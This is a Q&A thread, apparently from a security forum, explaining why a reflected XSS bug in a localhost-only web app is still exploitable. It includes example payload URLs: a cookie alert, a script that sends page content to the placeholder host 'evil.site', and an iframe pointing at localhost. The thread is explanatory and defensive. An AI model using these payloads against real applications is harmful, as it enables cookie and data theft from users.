I have an web app which can used via an browser. The web app can be accessed on localhost only. No remote access is possible. A security tool discovered an XSS issue. Now if this web app is works only localhost, then how can one exploit this XSS issue ? My guess is that only a local user can exploit this issue.
Yes, it's an issue.
The entire point of an XSS is to send a user to a crafted URL that exploits the bug on that user's browser. If an attacker knows an XSS exists, he could craft an XSS URL and send it to a target user, and that user would be able to access the localhost domain.
For example, say there's a page called /viewitem which takes a parameter name, which is vulnerable to XSS:
http://localhost/viewitem?id=123&name=n<script>alert(document.cookie);</script>
He sends you that link. You click it, and suddenly you're greeted by an alert box containing the cookies for the page. In reality, he'd post the cookie value off to a 3rd party site, and he's stolen your cookies! In this case he can't actually access the site, so it's a moot point.
However, depending on the configuration of the site, he may be able to exfiltrate data from the viewitem page too. For example:
http://localhost/viewitem?id=123&name=n<script>var ver=document.getElementById('version').innerHTML;document.location.href='http://evil.site/steal?ver='+encodeURIComponent(ver);</script>
If you've got an element with the id version, the above URL would extract its contents and send it to a 3rd party page, thus informing the attacker of the version of your software. This trick could be extended to steal other private information on the page, or use Ajax to fetch other content from the localhost domain.
answered Jan 22 '13 at 10:35
It is an issue and here is an attack scenario:
- Vulnerable webapp
Vuln_appresides onVuln_machine Vuln_appis accessible only fromlocalhost- A user browsing the web from
Vuln_machinebrowses toAttack_sitewebsite Attack_sitecontains a webpage with an iframe that points to theVuln_appon localhost:<iframe src="http://127.0.0.1/Vuln_app/<xss_issue>"/>Attack_sitecan now execute JavaScript code in the context ofVuln_app
answered Jan 22 '13 at 10:38
Yes. If you are the only person going to use this application then also you need to bother about XSS because of reflective xss. But if this application is going to be used by co-workers this will be a serious issue. Especially if you are a part of an organization and there are peoples who can access your application, then they can make use of this vulnerability to deface your server and spoil your web application. If your application is hosting for long run this issue should be fixed.
-
1This is wrong, even if you are the only person accessing it. Reflective XSS works by telling the browser to access an URL which contains the attack-code. An external website may tell a browser to access localhost. – Hendrik Brummermann Jan 22 '13 at 14:12
-
I just meant if you are the only person then you know its variability. So you wont try to exploit it. – sujeesh Jan 22 '13 at 14:28
